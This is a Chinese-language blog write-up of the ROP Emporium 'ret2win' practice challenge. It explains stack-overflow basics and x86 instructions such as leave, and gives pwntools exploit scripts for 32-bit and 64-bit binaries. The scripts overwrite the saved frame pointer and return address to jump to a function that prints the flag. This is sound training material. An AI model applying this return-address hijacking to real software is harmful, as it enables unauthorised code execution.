1_ret32win

ROPr入口:https://ropemporium.com/

1.無法寫入shellcoede, 查找敏感的函數(shù)(作者自己留下的后門函數(shù))
2.既然有了可以利用的函數(shù),我們就開始構(gòu)造
3.fgets() 最多讀取buffer-1(包括回車)


4.LEA是微機8086/8088系列的一條指令,取自英語Load effective address——取[有效地址],也就是取[偏移地址]。在微機8086/8088中有20位[物理地址],由16[位段]基址向左偏移4位再與偏移地址之和得到。地址傳送指令之一。

mov ax,2
mov bx,1
sub ax,bx
其中sub ax,bx就是ax中的值減bx中的值,等于1,然后把結(jié)果,也就是1,放入ax中。 

6.為什么要p32(0) 回答:覆蓋ebp的值 ,在執(zhí)行l(wèi)eave的時候其實就是在pop ebp。

leave詳解

在16位匯編下相當于:
mov sp,bp
pop bp
 在32位匯編下相當于:
mov esp,ebp
pop ebp

7.知道了溢出大小,p32(0),就差我們的ret了, ret是返回地址的意思。 我們可以利用ret,劫持程序的流程(到達我們想去的地方)。
8.點開有驚喜:https://blog.csdn.net/striver1205/article/details/25695437

int ret2win()
{
  printf("Thank you! Here's your flag:");
  return system("/bin/cat flag.txt");
}
32
from pwn import*
##context.log_level = 'debug'
p  = process("./ret2win32")
##p = remote("","")
ret2win_addr = 0x8048659   //跳轉(zhuǎn)到這個函數(shù)里面去執(zhí)行system(cat  .....)

payload = 'A'* 0x28
payload += p32(0)
payload += p32(ret2win_addr)

p.sendline(payload)
p.interactive()


原理一樣

64


from pwn import*
##context.log_level = 'debug'
p  = process("./ret2win")
##p = remote("","")
system_addr = 0x400811

payload =  'A' * 0x20
payload += p64(0)
payload += p64(system_addr)


p.sendline(payload)
p.interactive()

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容